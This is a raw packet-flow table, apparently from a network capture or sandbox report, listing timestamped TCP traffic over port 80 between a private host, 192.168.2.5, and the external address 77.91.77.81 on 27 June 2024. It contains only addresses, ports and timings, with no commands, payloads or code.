Jun 27, 2024 19:27:06.554452896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554462910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554475069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554481030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554487944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554500103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554502010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554523945 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554548025 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554582119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554594994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554630995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554655075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554692030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554713011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554724932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554753065 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554766893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554848909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554869890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554889917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554903030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554970026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554985046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554996967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555013895 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555036068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555068016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555079937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555092096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555108070 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555130005 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555212021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555229902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555241108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555248976 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555253983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555260897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555267096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555277109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555280924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555293083 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555296898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555315018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555336952 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555506945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555517912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555529118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555542946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555553913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555556059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555568933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.555578947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555594921 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.555618048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558257103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558296919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558309078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558320999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558339119 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558353901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558368921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558381081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558393002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558402061 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558414936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558449984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558449984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558461905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558486938 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558489084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558495998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558502913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558516026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558521986 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558537960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558557987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558626890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558638096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558649063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558666945 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558692932 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558733940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558748007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558759928 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558772087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558773041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558788061 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558805943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558851957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558876991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558887959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558911085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558923006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558945894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558954000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558960915 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558969021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558978081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.558980942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.558994055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.559010983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647233009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647247076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647258997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647314072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647313118 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647326946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647340059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647353888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647356987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647367001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647392035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647557974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647598982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647655010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647665977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647696018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647711039 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647726059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647737980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647748947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647763968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647767067 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647784948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647806883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.647887945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.647923946 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677443027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677516937 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677627087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677644014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677655935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677669048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677679062 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677683115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677690983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677699089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677707911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677720070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677731037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677742958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677747011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677756071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677772045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677792072 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677795887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677829027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677855015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677865982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677896023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677937031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677947998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677958965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677968979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.677975893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.677998066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.678024054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.678082943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678095102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678107023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678118944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678127050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.678132057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678138971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.678170919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.678198099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.678225994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678236961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678268909 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.678311110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678323030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678352118 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.678916931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678963900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.678975105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679053068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679064989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679076910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679102898 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679131031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679198027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679208994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679225922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679239035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679245949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679250956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679260015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679264069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679289103 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679316998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679420948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679434061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679444075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679457903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679467916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679471016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679492950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679507971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679620981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679632902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679645061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679656029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679661989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679670095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679683924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679706097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679761887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679774046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679806948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679833889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679847002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679857969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679869890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679873943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679882050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679893970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679893970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.679919004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.679935932 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680108070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680120945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680130959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680145979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680154085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680157900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680172920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680176973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680195093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680217028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680372953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680385113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680397987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680409908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680418015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680423975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680427074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680438042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680449963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680449963 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680464029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680469990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680499077 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680691004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680702925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680711985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680723906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680735111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680743933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680754900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680764914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680768967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680782080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680784941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680794954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680807114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680808067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680826902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680829048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680840015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680850983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680850983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680864096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680872917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680876970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680890083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.680896997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680913925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.680936098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681333065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681344986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681355953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681368113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681380033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681380987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681392908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681392908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681405067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681416035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681425095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681428909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681441069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681444883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681452990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681462049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681464911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681476116 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681478977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681493044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681503057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681507111 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681520939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.681525946 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681541920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.681564093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.682378054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.682425976 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.742961884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.742974997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.742988110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743007898 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.743036985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.743063927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743074894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743087053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743098021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743102074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.743119001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.743138075 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.743206024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743216991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743227005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743242979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.743258953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.743335962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743347883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743359089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743369102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.743369102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.743391991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.743415117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772300959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772341967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772344112 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772355080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772377014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772394896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772412062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772423983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772435904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772444963 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772447109 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772458076 CEST	49721	80	192.168.2.5	77.91.77.81
